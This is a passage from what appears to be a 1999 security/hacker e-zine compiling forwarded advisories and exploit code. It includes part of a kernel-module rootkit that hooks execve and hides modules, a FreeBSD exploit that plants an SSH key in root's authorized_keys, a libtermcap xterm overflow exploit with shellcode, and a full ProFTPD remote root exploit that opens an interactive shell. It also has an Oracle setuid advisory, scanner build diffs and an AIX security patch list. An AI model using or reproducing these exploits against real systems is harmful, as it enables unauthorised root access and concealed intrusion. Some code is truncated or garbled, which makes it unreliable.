the list * this won't delete it but makes it disapear for lsmod */ m->next = to_delete->next; printk("The following modules are visible now:\n"); while (m) { printk("%s\n", m->name); m = m->next; } printk("Tzzz... (sleeping)\n"); return 0; } int cleanup_module() { sys_call_table[__NR_execve] = old_exec; return 0; } ========================================== 1.21-:[EuroHaCk] stealth-code (fwd)(End) : _______________________________________________________________________________________________________ _______________________________________________________________________________________________________ 1.22-:Security Bug in Oracle (begin) : ====================================== ---------- Forwarded message ---------- Date: Mon, 16 Aug 1999 23:51:53 +0200 From: Gilles PARC Subject: Security Bug in Oracle Hi Listers, I discover a new security problem with Oracle on Unix. Once again, it's with a setuid program. Do not confuse with a similar problem corrected by ORACLE some month ago with a patch called setuid_patch.sh. NEW PROBLEM : if you have installed Oracle Intelligent agent, you will find in $ORACLE_HOME/bin a program called dbsnmp. This program is setuid root and was DELIBERATELY EXCLUDED by Oracle in the forementioned patch. The security hole resides in the fact that this program executes a tcl script ( nmiconf.tcl ) located by default in $ORACLE_HOME/network/agent/config. Needless to say that you can easily bypass this default and have your own malicious nmiconf.tcl script run under root privileges. I verify this on HP-UX 10.20 with Oracle 7.3.3 and 8.0.4.3 on AIX 4.3 with Oracle 8.0.5.1 But it's probably Unix generic. Regards Gilles Parc Email : gparc@mail.dotcom.fr carpe diem !! ----- End forwarded message ----- -- Elias Levy Security Focus http://www.securityfocus.com/ ===================================== 1.22-:Security Bug in Oracle (End) : _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.23-: BASS diffs (begin) : =========================== I made some diffs to get BASS to compile on OpenBSD and Solaris as well as Linux..They are very minimal... diff -uN bass-1.0.7/BASS.c bass/BASS.c --- bass-1.0.7/BASS.c Sun Aug 8 12:43:51 1999 +++ bass/BASS.c Mon Aug 16 15:15:13 1999 @@ -24,6 +24,7 @@ #include #include #include +#include #include "list.h" #include "readconf.h" @@ -487,11 +488,11 @@ log("%s - [%s] OUT OF MEMORY?!?!?!.", cgi_hooks[i].cgi_alias, host); break; - case EBADRQC : + case EINVAL: log("%s - [%s] cgi not installed.", cgi_hooks[i].cgi_alias, host); break; - case -1 : + case -1: log("%s - [%s] unknown cgi failure.", cgi_hooks[i].cgi_alias, host); break; @@ -526,12 +527,12 @@ scan_hooks[i].scan_alias, host); break; - case EBADRQC : + case EINVAL : log("%s - [%s] Host denied Iquery request", scan_hooks[i].scan_alias, host); break; - case EPROTO : + case ENOPROTOOPT : log("%s - [%s] server type mismatch", scan_hooks[i].scan_alias, host); break; diff -uN bass-1.0.7/Makefile bass/Makefile --- bass-1.0.7/Makefile Sun Aug 8 12:43:51 1999 +++ bass/Makefile Mon Aug 16 15:29:06 1999 @@ -14,14 +14,15 @@ BASS_DEFS = -DBASS_DEFAULT_DISTDIR=\"$(BASS_DISTDIR)\" # On Solaris you'll need to add *at least* these linker flags: -# -lnsl -lsocket -lresolv -lrpc (is that how the rpc library is called?) +# -lnsl -lsocket -lresolv # # On Irix you'll need to... Hmmm... # # Forget it! I'm not going to fight Unix. Here's a nickel kid, go buy yourself # a Linux distribution. -BASS_LIBS = +BASS_LIBS= +#BASS_LIBS =-lnsl -lsocket -lresolv BASS_INCLUDES = BASS_OBJS = BASS.o job.o log.o list.o xmalloc.o network.o icmp.o \ @@ -29,12 +30,12 @@ cgi.o uname.o \ bind.o imapd.o qpopper.o innd.o wingate.o \ nfsmount_xdr.o rpc.o \ - $(BASS_LIBS) +# strsep.o all: BASS BASS: $(BASS_OBJS) - $(CC) -o BASS $(BASS_OBJS) + $(CC) -o BASS $(BASS_OBJS) $(BASS_LIBS) $(LIBPCLOAK_OBJ): cd $(LIBPCLOAK_DIR); $(MAKE) $(LIBPCLOAK).a diff -uN bass-1.0.7/README.SOLARIS bass/README.SOLARIS --- bass-1.0.7/README.SOLARIS Wed Dec 31 16:00:00 1969 +++ bass/README.SOLARIS Mon Aug 16 15:28:06 1999 @@ -0,0 +1,2 @@ +Edit the makefile, *uncomment* the line for strsep.o +and *uncomment* the BASS_LIBS that calls -lnsl -lsocket -lresolv diff -uN bass-1.0.7/bind.c bass/bind.c --- bass-1.0.7/bind.c Sun Aug 8 12:43:51 1999 +++ bass/bind.c Sun Aug 15 08:12:37 1999 @@ -69,7 +69,7 @@ dnsv = (HEADER *) vquery; if(dnsi->rcode) { - errno = EBADRQC; + errno = EINVAL; return -1; } else { if(dnsv->rcode) { diff -uN bass-1.0.7/cgi.c bass/cgi.c --- bass-1.0.7/cgi.c Sun Aug 8 12:43:51 1999 +++ bass/cgi.c Sun Aug 15 08:12:37 1999 @@ -78,7 +78,7 @@ /* Cgi not installed */ if(!strstr(*response, CGI_HTTP_HEADER_10) && !strstr(*response, CGI_HTTP_HEADER_11)) { - errno = EBADRQC; + errno = EINVAL; return -1; } diff -uN bass-1.0.7/icmp.h bass/icmp.h --- bass-1.0.7/icmp.h Sun Aug 8 12:43:51 1999 +++ bass/icmp.h Mon Aug 16 15:17:15 1999 @@ -13,8 +13,26 @@ */ -#include +#include #include +#include + +#if !defined(__linux__) +struct iphdr +{ +#if BYTE_ORDER == LITTLE_ENDIAN + unsigned char ihl:4, version:4, tos; +#elif BYTE_ORDER == BIG_ENDIAN + unsigned char version:4, ihl:4, tos; +#else +#error "What is the BYTE_ORDER?" +#endif + unsigned short tot_len, id, frag_off; + unsigned char ttl, protocol; + unsigned short check; + unsigned int saddr, daddr; +}; +#endif #define LOCAL_ICMP #ifndef LOCAL_ICMP diff -uN bass-1.0.7/imapd.c bass/imapd.c --- bass-1.0.7/imapd.c Sun Aug 8 12:43:51 1999 +++ bass/imapd.c Sun Aug 15 08:12:37 1999 @@ -56,7 +56,7 @@ !(imap_flavour = strsep(&sepregister, delim)) || strncasecmp(imap_flavour, S_IMAP, strlen(S_IMAP)) != 0 || !(version = strsep(&sepregister, delim))) - { close(tcpfd); errno = EPROTO; return -1; } + { close(tcpfd); errno = ENOPROTOOPT; return -1; } if(!strcmp(imap_flavour, S_IMAP_2BIS)) { @@ -72,7 +72,7 @@ else { close(tcpfd); - errno = EPROTO; + errno = ENOPROTOOPT; return -1; } diff -uN bass-1.0.7/qpopper.c bass/qpopper.c --- bass-1.0.7/qpopper.c Sun Aug 8 12:43:51 1999 +++ bass/qpopper.c Sun Aug 15 08:12:37 1999 @@ -44,7 +44,7 @@ if( !strstr(serverid, "QPOP") && !strstr(serverid, "QUALCOMM") ) { close(tcpfd); - errno = EPROTO; return -1; + errno = ENOPROTOOPT; return -1; } else { if((version = strstr(serverid, S_VERSION))) { diff -uN bass-1.0.7/rpc.c bass/rpc.c --- bass-1.0.7/rpc.c Sun Aug 8 12:43:51 1999 +++ bass/rpc.c Mon Aug 16 21:56:42 1999 @@ -148,9 +148,9 @@ tt_client = tclnttcp_create(&raddr, TOOLTALK_RPC, TOOLTALK_VERS, &rpcsock, 0, 0, timer); if(!tt_client) { - /*-- Traditionally ECOMM has nothing to do with our situation. But we + /*-- Traditionally EPROTONOSUPPORT has nothing to do with our situation. But we endow it a NEW meaning: Any RPC communications failure. --*/ - if(errno != ETIMEDOUT) errno = ECOMM; + if(errno != ETIMEDOUT) errno = EPROTONOSUPPORT; return -1; } @@ -200,7 +200,7 @@ if(!(mount_client = clntudp_create(&raddr, MOUNTD_RPC, MOUNTD_VERS, retry_timeout, &rpcsock))) { - errno = ECOMM; + errno = EPROTONOSUPPORT; return -1; } @@ -230,7 +230,7 @@ log("%s - [%s] RPC request timed out.", rpc_hooks[hook_slot].rpc_alias, host); break; - case ECOMM : + case EPROTONOSUPPORT : log("%s - [%s] RPC service communication error.", rpc_hooks[hook_slot].rpc_alias, host); break; diff -uN bass-1.0.7/strsep.c bass/strsep.c --- bass-1.0.7/strsep.c Wed Dec 31 16:00:00 1969 +++ bass/strsep.c Mon Aug 16 15:22:28 1999 @@ -0,0 +1,85 @@ +/* $OpenBSD: strsep.c,v 1.3 1997/08/20 04:28:14 millert Exp $ */ + +/*- + * Copyright (c) 1990, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include +#include + +#if defined(LIBC_SCCS) && !defined(lint) +#if 0 +static char sccsid[] = "@(#)strsep.c 8.1 (Berkeley) 6/4/93"; +#else +static char *rcsid = "$OpenBSD: strsep.c,v 1.3 1997/08/20 04:28:14 millert Exp $"; +#endif +#endif /* LIBC_SCCS and not lint */ + +/* + * Get next token from string *stringp, where tokens are possibly-empty + * strings separated by characters from delim. + * + * Writes NULs into the string at *stringp to end tokens. + * delim need not remain constant from call to call. + * On return, *stringp points past the last NUL written (if there might + * be further tokens), or is NULL (if there are definitely no more tokens). + * + * If *stringp is NULL, strsep returns NULL. + */ +char * +strsep(stringp, delim) + register char **stringp; + register const char *delim; +{ + register char *s; + register const char *spanp; + register int c, sc; + char *tok; + + if ((s = *stringp) == NULL) + return (NULL); + for (tok = s;;) { + c = *s++; + spanp = delim; + do { + if ((sc = *spanp++) == c) { + if (c == 0) + s = NULL; + else + s[-1] = 0; + *stringp = s; + return (tok); + } + } while (sc != 0); + } + /* NOTREACHED */ +} diff -uN bass-1.0.7/wingate.c bass/wingate.c --- bass-1.0.7/wingate.c Sun Aug 8 12:43:51 1999 +++ bass/wingate.c Sun Aug 15 08:12:38 1999 @@ -41,7 +41,7 @@ if(!setjmp(jmpbuf)) { if((n = read(sockfd, response + bytes, MAX_RESPONSE_SIZE - bytes)) <= 0) - { errno = EPROTO; goto fail; } + { errno = ENOPROTOOPT; goto fail; } alarm(0); for(i = 0; i bug in fts_print function allows to overwrite any file in system, when running /etc/security script (executed from 'daily' scripts). affected systems: - freebsd (all versions) - probably openbsd/netbsd fix: - limit root's coredump size - patch libc */ #include #include #include #include #include #define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n" #define FILE "/root/.ssh/authorized_keys" #define CORE "find.core" #define DEPTH 300 #define BUFSIZE 250 int makedir(dir, linkfrom, linkto) char *dir, *linkfrom, *linkto; { if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO))) return -1; if (chdir(dir)) return -1; if (symlink(linkfrom, linkto) < 0) return -1; return 0; } int main(argc, argv) int argc; char **argv; { int i = 0; char pid[10], buf[BUFSIZE]; sprintf(pid, "%d", getpid()); if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO))) { perror("mkdir()"); return -1; } if (chdir(pid)) { perror("chdir()"); return -1; } bzero(buf, BUFSIZE); memset(buf, 0x41, BUFSIZE-1); for(i=0;i #define BUF_SIZE 5000 #define POS_RET 2000 #define POS_SEP 3000 #define RETADDR 0xbfffefef #define EGG "/tmp/egg_termcap" // shellcode char shellcode[] = // 48 caracteres "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh"; void main (int argc, char *argv[]) { int i; FILE *f; char buf[BUF_SIZE]; long retaddr, offset; printf ("\n"); printf ("****************************************** \n"); printf ("* libtermcap xterm exploit, by m0f0 1999 * \n"); printf ("****************************************** \n\n"); printf ("Use : %s [offset] \n", argv[0]); offset = 0; if (argc>1) { offset = atol (argv[1]); } retaddr = RETADDR + offset; printf ("Return Address = 0x%x \n",retaddr); // Fill buffer with NOP's memset (buf, 0x90, BUF_SIZE); buf[BUF_SIZE]=0; // Set termcap file header and sep memcpy (buf, "xterm|", 6); memcpy (buf+POS_SEP,":\\",2); // Return Address for (i=POS_RET; i<=POS_SEP-10; i+=4) { *(long*)(buf+i) = (long) retaddr; } // Copy shellCode for (i=0; i proftpd-1.2.0 remote root exploit (beta2) * (Still need some code, but it works fine) * * Offset: Linux Redhat 6.0 * 0 -> proftpd-1.2.0pre1 * 0 -> proftpd-1.2.0pre2 * 0 -> proftpd-1.2.0pre3 * (If this dont work, try changing the align) * * Usage: * $ cc pro.c -o pro * $ pro 1.1.1.1 ftp.linuz.com /incoming * * **** * Comunists are still alive ph34r * A lot of shit to : #cybernet@ircnet * Greez to Soren,Draven,DaSnake,Nail^D0D,BlackBird,scaina,cliffo,m00n,phroid,Mr-X,inforic * Dialtone,AlexB,naif,etcetc * without them this puppy cant be spreaded uaz uaz uaz * **** * #include #include #include #include #include #include #include #include #include #include #include #include #include #define RET 0xbffff550 #define ALINEA 0 void logintoftp(); void sh(); void mkd(char *); void put(char *); int max(int, int); char shellcode[] = "\x90\x90\x31\xc0\x31\xdb\xb0\x17" "\xcd\x80\x31\xc0\xb0\x17\xcd\x80" "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80" "\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0" "\x27\x8d\x5e\x05\xfe\xc5\xb1\xed" "\xcd\x80\x31\xc0\x8d\x5e\x05\xb0" "\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1" "\xd0\xff\xf7\xdb\x31\xc9\xb1\x10" "\x56\x01\xce\x89\x1e\x83\xc6\x03" "\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10" "\xcd\x80\x31\xc0\x88\x46\x07\x89" "\x76\x08\x89\x46\x0c\xb0\x0b\x89" "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd" "\x80\xe8\xac\xff\xff\xff"; char tmp[256]; char name[128], pass[128]; int sockfd; struct sockaddr_in server, yo; char inicio[20]; int main(int argc, char **argv) { char sendln[1024], recvln[4048], buf1[1000], buf2[200]; struct hostent *host; char *p, *q; int len; int offset = 0; int align = 0; int i; if(argc < 4){ printf("usage: pro [-l name pass] [offset align]\n"); printf("If dont work, try different align values (0 to 3)\n"); exit(0); } if(argc >= 5){ if(strcmp(argv[4], "-l") == 0){ strncpy(name, argv[5], 128); strncpy(pass, argv[6], 128); } else { offset = atoi(argv[4]); } if(argc == 9) offset = atoi(argv[7]); align = atoi(argv[8]); } sprintf(inicio, "%s", argv[1]); if(name[0] == 0 && pass[0] == 0){ strcpy(name, "anonymous"); strcpy(pass, "a@a.es"); } bzero(&server,sizeof(server)); bzero(recvln,sizeof(recvln)); bzero(sendln,sizeof(sendln)); server.sin_family=AF_INET; server.sin_port=htons(21); if((host = gethostbyname(argv[2])) != NULL) { bcopy(host->h_addr, (char *)&server.sin_addr, host->h_length); } else { if((server.sin_addr.s_addr = inet_addr(argv[2]))<1) { perror("Obteniendo ip"); exit(0); } } bzero((char*)&yo,sizeof(yo)); yo.sin_family = AF_INET; if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("socket()"); exit(0); } if((bind(sockfd, (struct sockaddr *)&yo, sizeof(struct sockaddr)))<0) { perror("bind()"); exit(0); } if(connect(sockfd, (struct sockaddr *)&server, sizeof(server)) < 0){ perror("connect()"); exit(0); } printf("Destination_ip: %s \nDestination_port: %d\nSource_ip: %s \nSource_port: %d\n", inet_ntoa(server.sin_addr), ntohs(server.sin_port), inet_ntoa(yo.sin_addr), ntohs(yo.sin_port)); printf("Connected\n"); getchar(); while((len = read(sockfd, recvln, sizeof(recvln))) > 0){ recvln[len] = '\0'; if(strchr(recvln, '\n') != NULL) break; } logintoftp(sockfd); printf("Logged\n"); bzero(sendln, sizeof(sendln)); memset(buf1, 0x90, 800); memcpy(buf1, argv[3], strlen(argv[3])); mkd(argv[3]); p = &buf1[strlen(argv[3])]; q = &buf1[799]; *q = '\x00'; while(p <= q) { strncpy(tmp, p, 100); mkd(tmp); p+=100; } mkd(shellcode); mkd("bin"); mkd("sh"); memset(buf2, 0x90, 100); for(i=4-ALINEA-align; i<96; i+=4) *(long *)&buf2[i] = RET + offset; p = &buf2[0]; q = &buf2[99]; strncpy(tmp, p, 100); put(tmp); sh(sockfd); close(sockfd); printf("EOF\n"); } void mkd(char *dir) { char snd[1024], rcv[1024]; char buf[1024], *p; int n; bzero(buf,sizeof(buf)); p=buf; for(n=0;n0) { rcv[n]=0; if(strchr(rcv,'\n')!=NULL) break; } return; } void put(char *dir) { char snd[1024], rcv[1024]; char buf[1024], *p; int n; int sockete, nsock; int port; int octeto_in[4]; char *oct; port=getpid()+1024; yo.sin_port=htons(port); bzero(buf,sizeof(buf)); p=buf; for(n=0;n 0){ rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } return; } void logintoftp() { char snd[1024], rcv[1024]; int n; printf("Logging %s/%s\n", name, pass); memset(snd, '\0', 1024); sprintf(snd, "USER %s\r\n", name); write(sockfd, snd, strlen(snd)); while((n=read(sockfd, rcv, sizeof(rcv))) > 0){ rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } memset(snd, '\0', 1024); sprintf(snd, "PASS %s\r\n", pass); write(sockfd, snd, strlen(snd)); while((n=read(sockfd, rcv, sizeof(rcv))) > 0){ rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } return; } void sh() { char snd[1024], rcv[1024]; fd_set rset; int maxfd, n; strcpy(snd, "cd /; uname -a; pwd; id;\n"); write(sockfd, snd, strlen(snd)); for(;;){ FD_SET(fileno(stdin), &rset); FD_SET(sockfd, &rset); maxfd = max(fileno(stdin), sockfd) + 1; select(maxfd, &rset, NULL, NULL, NULL); if(FD_ISSET(fileno(stdin), &rset)){ bzero(snd, sizeof(snd)); fgets(snd, sizeof(snd)-2, stdin); write(sockfd, snd, strlen(snd)); } if(FD_ISSET(sockfd, &rset)){ bzero(rcv, sizeof(rcv)); if((n = read(sockfd, rcv, sizeof(rcv))) == 0){ printf("EOF.\n"); exit(0); } if(n < 0){ perror("read()"); exit(-1); } fputs(rcv, stdout); } } } int max(int x, int y) { if(x > y) return(x); else return(y); } ===================== 1.26-: ProFTPD (End) _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.27-:AIX security summary (begin): =================================== The tool "bull_check" at the URL http://www-frec.bull.com/docs/download.htm#y2k has been updated to check if any of these updates need to be installed on your AIX-4 system. ---------- Forwarded message ---------- Date: Thu, 19 Aug 1999 12:39:07 -0500 From: AIX Service Mail Server To: Ciaran.Deignan@bull.net Subject: Security_APARs This is a list of security related APARs for current releases of AIX. To facilitate ease of ordering all security related APARs for each release can be ordered using the following packaging APARs. AIX 4.3: IY03152 (updated 08/99) AIX 4.2: IY03151 (updated 08/99) AIX 4.1: IY03150 (updated 08/99) APARs can be ordered using FixDist. For additional information on FixDist send e-mail with a subject of "FixDist" to aixserv@austin.ibm.com, or refer to the following URL: http://service.software.ibm.com/rs6k/fixes.html =========================================================================== AIX 4.3 APARs IX72045 CDE LOGIN GIVES INVALID USER NAME MESSAGE BEFORE PW ENTERED IX72553 SECURITY: VULNERABILITY IN I/O SIGNAL HANDLING IX73077 SECURITY: FTP BOUNCE VULNERABILITY IX73214 SECURITY: TELNET DENIAL OF SERVICE ATTACK IX73438 SECURITY: VULNERABILITY IN DTAPPGATHER IX73586 SECURITY HOLE IN FTP, TFTP, UTFTP IX73836 /ETC/HOSTS.EQUIV IS ALLOWING WRONG USERS TO LOG IN IX73951 SECURITY: ROUTED SHOULD IGNORE TRACE PACKETS IX73961 PCNFSD DAEMON UPDATES WTMP FILE INCORRECTLY IX74296 PROGRAMS USING LEX GENERATED SOURCE COREDUMP IX74599 SECURITY: VULNERABILITY IN DIGEST IX74793 SECURITY HOLE IN TN3270 IX74802 CSH CORE DUMPS WHEN ENV VARIABLE IS LONGER THAN 2K IX75275 SECURITY: LOGSYMPTOM FOLLOWS SYMLINKS IX75554 SECURITY: TIMEX CREATES INSECURE TEMPORARY FILES IX75564 ETHERNET DRIVER PASSES PACKETS TOO SMALL CAUSING CRASH IX75761 BAD FILE HANDLE CAN CRASH LOCK DAEMON IX75840 SECURITY: DEAD.LETTER CREATED WITH GROUP PRINTQ IX75864 SECURITY: /BIN/MAN CREATES INSECURE TEMPORARY FILES IX76039 SECURITY: DPID2 CORE DUMPS IN WORLD WRITABLE DIRECTORY IX76040 SECURITY: SNMPD LOG FILE FOLLOWS SYMLINKS IX76049 SECURITY: CDE TRASHINFO FILE CREATED WORLD-WRITABLE IX76960 BIND: CERT ADVISORY CA-98.05 IX76962 BIND: CERT ADVISORY CA-98.05 IX77338 SECURITY: SORT CREATES INSECURE TEMPORARY FILES IX77508 CDE MAILER (DTMAIL) ALLOWS A USER TO READ A MAILBOX WHICH THE IX77592 SECURITY: PORTMAP CREATES INSECURE TEMPORARY FILES IX78071 IFCONFIG.AT HAVE A WRONG FILE PERMISSIONS IX78202 SECURITY: BUFFER OVERFLOWS IN XTERM AND AIXTERM. IX78248 SECURITY: VULNERABILITY IN GROUP SHUTDOWN IX78349 SECURITY: BAD PERMISSIONS ON /ETC/SECURITY/LOGIN.CFG IX78564 SECURITY:LONG FONTNAMES CAN OVERFLOW BUFFERS IN FONTSERVER IX78612 SECURITY: BUFFER OVERFLOWS IN XAW AND XMU. IX78646 SECURITY: RC.NET.SERIAL CREATES INSECURE TEMPORARY FILES IX78719 NFS V2 DOES NOT HANDLE 65535 AS A UID IX78732 SECURITY: FILES IN /VAR/DT ARE CREATED INSECURELY BY CDE LOGIN IX79136 SECURITY: INSECURE TEMPORARY FILES IN DIAGSUP SCRIPTS IX79139 SECURITY: ACLPUT/ACLEDIT CREATE INSECURE TEMPORARY FILES IX79679 "RCP SECURITY PROBLEM" IX79681 SECURITY: INSECURE TEMPORARY FILES IN CMDMISC SCRIPTS IX79682 SECURITY: INSECURE TEMPORARY FILES IN CMDSCCS SCRIPTS IX79683 SECURITY: INSECURE TEMPORARY FILES IN CMDTZ SCRIPTS IX79700 SECURITY: INSECURE TEMPORARY FILES IN CMDNLS SCRIPTS IX79701 SECURITY: INSECURE TEMPORARY FILES IN CMDTEXT SCRIPTS IX79857 SECURITY HOLE IX79909 NSLOOKUP CORE DUMPS WITH LONG STRINGS IX79979 SECURITY: VULNERABILITY IN GROUP SHUTDOWN IX80036 SECURITY: CRON CREATES INSECURE LOCK FILE IX80387 SECURITY: INSECURE CREATION OF LPD LOCK FILE IX80391 SECURITY: INSECURE TEMPORARY FILES IN CMDSNAP SCRIPTS IX80470 SECURITY: PTRACE() PROBLEM WITH SET-GID PROGRAMS IX80510 SECURITY: DON'T INHERIT CLOSED STDIN,STDOUT,STDERR DESCRIPTORS IX80543 SECURITY:LIBNSL BUFFER OVERRUNS IX80548 SECURITY: RAS SCRIPTS SHOULDN'T FOLLOW SYMLINKS IX80549 SECURITY: /BIN/MORE CREATES INSECURE TEMPORARY FILES IX80762 SECURITY: /BIN/VI CREATES INSECURE TEMPORARY FILES IX80792 SECURITY: BUFFER OVERFLOWS IN IMAPD IX81058 SECURITY: INSECURE TEMPORARY FILES IN CMDBSYS SCRIPTS IX81077 SECURITY: TTYLOCK() ALLOWS CREATION OF WORLD-READABLE FILES IX81078 SECURITY: INSECURE TEMPORARY FILES IN CMDFILES SCRIPTS IX81442 SECURITY: VULNERABILITY IN RPC.TTDBSERVERD IX81507 SECURITY: MORE VULNERABILITIES IN PCNFSD IX81999 POST COMMAND SHOULD NOT BE SUID IX82002 FORCE REXECD USER PRIVILEDGES IX83542 RESERVED IX83752 SECURITY: VULNERABILITY IN AUTOFS IX84493 SECURITY: VULNERABILITY IN SETGID EXECUTABLES IX84642 SECURITY: VULNERABILITY IN INFOEXPLORER DAEMON (INFOD) IX85233 SECURITY : MAILBOX GETS CORRUPTED IX85556 SECURITY: BUFFER OVERFLOW IN FTP CLIENT IX85600 BOOTP: CERT ADVISORY IX86845 SVCAUTH_UNIX CRASH ON NEGATIVE NUMBER IX87016 REMBAK FAILS WHEN INVOKED WITH VERY LONG USERNAME/HOSTNAME IX87727 STOP UNCOMMENTING RPC DAEMONS IN /ETC/INETD.CONF AFTER NFS IX88021 ADD FINGER TIMEOUT IX88263 SECURITY: SNAP MAY LEAK SENSITIVE INFORMATION IX88633 SECURITY: INSECURE TEMPORARY FILES IN /SBIN/RC.BOOT IX89415 SECURITY: XAUTH IS BROKEN IN 4.3.X IX89419 SECURITY: BUFFER OVERFLOW IN DTSPCD IX89687 SECURITY: NFS SCRIPTS CREATE INSECURE TEMPORARY FILES IY00892 INSECURE TEMPORARY FILES IN BOS.PERF PACKAGING SCRIPT IY01439 SECURITY: INSECURE TEMPORARY FILES IN /ETC/RC.POWERFAIL IY02120 SECURITY: BUFFER OVERFLOW IN NSLOOKUP IY02397 SECURITY: NON-ROOT USERS CAN USE PTRACE TO CRASH THE SYSTEM =========================================================================== AIX 4.2 APARs IX59743 RDIST HAS A SECURITY HOLE. IX60069 /VAR/DT SECURITY PROBLEM IX60892 BUFFER OVERFLOW CAUSES CORE DUMP IN TZSET() IX61125 POSSIBLE BUFFER OVERFLOW BUG IN /USR/BIN/AT IX61127 SECURITY: POSSIBLE BUFFER OVERFLOW IN RWHOD IX61199 NETWORK INTERFACES PADDING TO MINIMUM LENGTH LEAVE OLD DATA IN IX61304 CERTS VU#12851:SENDMAIL GIVES LOCAL USER ACCESS TO DEFAULT USER IX61305 CERTS#12002:SENDMAIL LETS USER BECOME ROOT WITH CHFN COMMAND IX61858 LARGE ICMP PACKETS CAN CRASH MACHINE IX62144 BUFFER OVERFLOW IN GETHOSTBYNAME() IX62428 CERT: SYN FLOOD DENIAL-OF-SERVICE ATTACKS IX63068 CERT: SENDMAIL SIGHUP VULNERABILITY IX64204 SECURITY: LQUERYPV ALLOWS NON-ROOT USER TO READ ANY FILE IX64443 CERTS:VU#3075 SENDMAIL VULNERABILITY IX65281 SECURITY: HOSTS.EQUIV SHOULD BE IGNORED IF WORLD-WRITABLE IX65473 CERT: BUFFER OVERFLOW IN TALKD IX65538 CERT: FTPD RACE CONDITION IN SIGNAL HANDLING IX65685 SECURITY: BUFFER OVERFLOW IN /USR/SBIN/LOGIN IX66068 /USR/SBIN/MOUNT CREATES ROOT-OWNED CORE IX66232 CORE DUMP FOR ILLEGAL LENGTH STRING IN SOME LVM COMMANDS IX66344 SECURITY: LIBPATH USED FOR SETGID EXECUTABLES IX66352 SECURITY: BUFFER OVERFLOWS IN LIBXT.A IX66405 /TMP/XLOGFILE HAS WRONG PERMISSION. IX66461 BUFFER OVERFLOW IN LIBXT.A IX66819 RECONNECTING A TCP SOCKET CAN CRASH THE SYSTEM IX66824 SECURITY: BUFFER OVERFLOWS IN LIBX11.A IX66950 SECURITY: BUFFER OVERFLOW IN /USR/LIB/ERRDEMON IX67318 CERT: POSSIBLE BUFFER OVERFLOW IN FINGER DAEMON IX67325 /TMP/LAST_UUID PERMISSIONS AND MISSING SYMBOLS IX67377 CERT: BUFFER OVERFLOW IN NLS ENVIRONMENT VARIABLES IX68087 SECURITY: VULNERABILITY IN RPC.PCNFSD IX68191 SECURITY: BUFFER OVERFLOWS IN XLOCK IX68250 BUFFER OVERFLOWS IN /USR/SBIN/MOUNT IX68707 SECURITY: X11 RESOURCE MANAGER BUFFER OVERFLOW. IX68769 CERT : CMSD SECURITY PROBLEM IX68801 SECURITY: POSSIBLE BUFFER OVERFLOW IN GECOS HANDLING IX69106 BUFFER OVERFLOW IN DTTERM. IX69113 BUFFER OVERFLOW IN XTERM. IX69169 SECURITY: BUFFER OVERFLOW IN WRITESRV DAEMON IX69171 SECURITY: BUFFER OVERFLOW IN /BIN/RCP IX69180 SECURITY: BUFFER OVERFLOW IN DTACTION IX69704 SECURITY: BUFFER OVERFLOW IN AIXTERM IX69714 CERT: VULNERABILITY IN YPPROC_XFR RPC IX70035 LARGE MMAP REGION CAN RUN OUT OF PAGING SPACE AND HANG IX70233 SECURITY: /USR/BIN/VACATION VULNERABILITY IX70237 SECURITY: CACHE POISONING IX70239 SECURITY: DISALLOW SENDMAIL -C FOR USERS IN GROUP SYSTEM IX70263 CERT CA-97.09: VULNERABILITY IN IMAP/POP IX70389 /ETC/HOSTS.EQUIV IS ALLOWING WRONG USERS TO LOGIN IX70396 SECURITY: COPYCORE CREATES WORLD-READABLE DUMPS IX70397 SECURITY: VULNERABILITY IN SRCMSTR IX70660 SECURITY: SYSLOG DENIAL-OF-SERVICE VULNERABILITY IX70766 POSSIBLE COREDUMP IN TPARM() ROUTINE IX70815 MAKE NSLOOKUP SUID ROOT ONLY FOR RES_INIT IX70875 SECURITY: BUFFER OVERFLOW IN RDIST IX70886 SECURITY: FTP CLIENT INTERPRETS SERVER PROVIDED FILENAMES IX70916 